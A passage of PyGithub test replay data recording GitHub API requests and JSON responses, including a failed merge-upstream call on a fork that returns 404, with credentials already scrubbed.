Github.git","svn_url":"https://github.com/zer0tonin/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11451,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-18T11:41:36Z","pushed_at":"2018-10-18T18:05:05Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11426,"stargazers_count":2136,"watchers_count":2136,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":736,"mirror_url":null,"archived":false,"open_issues_count":50,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":736,"open_issues":50,"watchers":2136,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-18T11:41:36Z","pushed_at":"2018-10-18T18:05:05Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11426,"stargazers_count":2136,"watchers_count":2136,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":736,"mirror_url":null,"archived":false,"open_issues_count":50,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":736,"open_issues":50,"watchers":2136,"default_branch":"master"},"network_count":736,"subscribers_count":1} https PUT api.github.com None /repos/zer0tonin/PyGithub/notifications {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"last_read_at": "2018-10-18T18:19:43Z"} 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:19:46 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B18C:4C25:2AA2E23:5885386:5BC8CEC1')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testMergeUpstreamFailure.txt0000644000175100001660000005265014756101563026075 0ustar00runnerdockerhttps GET api.github.com None /repos/Felixoid/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 21 Jan 2025 18:40:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2e7b991eb7ed846ce3aa4dfe29f01505bd463220ee1158a0f0646c883352c7ca"'), ('Last-Modified', 'Tue, 20 Dec 2022 02:20:35 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1737485997'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A2E8:18DDBD:139FB23:1426136:678FEA29')] {"id":580357237,"node_id":"R_kgDOIpeMdQ","name":"PyGithub","full_name":"Felixoid/PyGithub","private":false,"owner":{"login":"Felixoid","id":3025537,"node_id":"MDQ6VXNlcjMwMjU1Mzc=","avatar_url":"https://avatars.githubusercontent.com/u/3025537?v=4","gravatar_id":"","url":"https://api.github.com/users/Felixoid","html_url":"https://github.com/Felixoid","followers_url":"https://api.github.com/users/Felixoid/followers","following_url":"https://api.github.com/users/Felixoid/following{/other_user}","gists_url":"https://api.github.com/users/Felixoid/gists{/gist_id}","starred_url":"https://api.github.com/users/Felixoid/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Felixoid/subscriptions","organizations_url":"https://api.github.com/users/Felixoid/orgs","repos_url":"https://api.github.com/users/Felixoid/repos","events_url":"https://api.github.com/users/Felixoid/events{/privacy}","received_events_url":"https://api.github.com/users/Felixoid/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/Felixoid/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Felixoid/PyGithub","forks_url":"https://api.github.com/repos/Felixoid/PyGithub/forks","keys_url":"https://api.github.com/repos/Felixoid/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Felixoid/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Felixoid/PyGithub/teams","hooks_url":"https://api.github.com/repos/Felixoid/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Felixoid/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Felixoid/PyGithub/events","assignees_url":"https://api.github.com/repos/Felixoid/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Felixoid/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Felixoid/PyGithub/tags","blobs_url":"https://api.github.com/repos/Felixoid/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Felixoid/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Felixoid/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Felixoid/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Felixoid/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Felixoid/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Felixoid/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Felixoid/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Felixoid/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Felixoid/PyGithub/subscription","commits_url":"https://api.github.com/repos/Felixoid/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Felixoid/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Felixoid/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Felixoid/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Felixoid/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Felixoid/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Felixoid/PyGithub/merges","archive_url":"https://api.github.com/repos/Felixoid/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Felixoid/PyGithub/downloads","issues_url":"https://api.github.com/repos/Felixoid/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Felixoid/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Felixoid/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Felixoid/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Felixoid/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Felixoid/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Felixoid/PyGithub/deployments","created_at":"2022-12-20T11:10:02Z","updated_at":"2022-12-20T02:20:35Z","pushed_at":"2025-01-21T18:38:55Z","git_url":"git://github.com/Felixoid/PyGithub.git","ssh_url":"git@github.com:Felixoid/PyGithub.git","clone_url":"https://github.com/Felixoid/PyGithub.git","svn_url":"https://github.com/Felixoid/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15154,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-21T15:19:45Z","pushed_at":"2025-01-12T20:59:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":17056,"stargazers_count":7153,"watchers_count":7153,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1796,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":361,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1796,"open_issues":361,"watchers":7153,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-21T15:19:45Z","pushed_at":"2025-01-12T20:59:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":17056,"stargazers_count":7153,"watchers_count":7153,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1796,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":361,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1796,"open_issues":361,"watchers":7153,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1796,"subscribers_count":0} https POST api.github.com None /repos/Felixoid/PyGithub/merge-upstream {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"branch": "doesNotExist"} 404 [('Date', 'Tue, 21 Jan 2025 18:40:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, read:gpg_key, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-03-09 23:53:12 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1737485997'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, 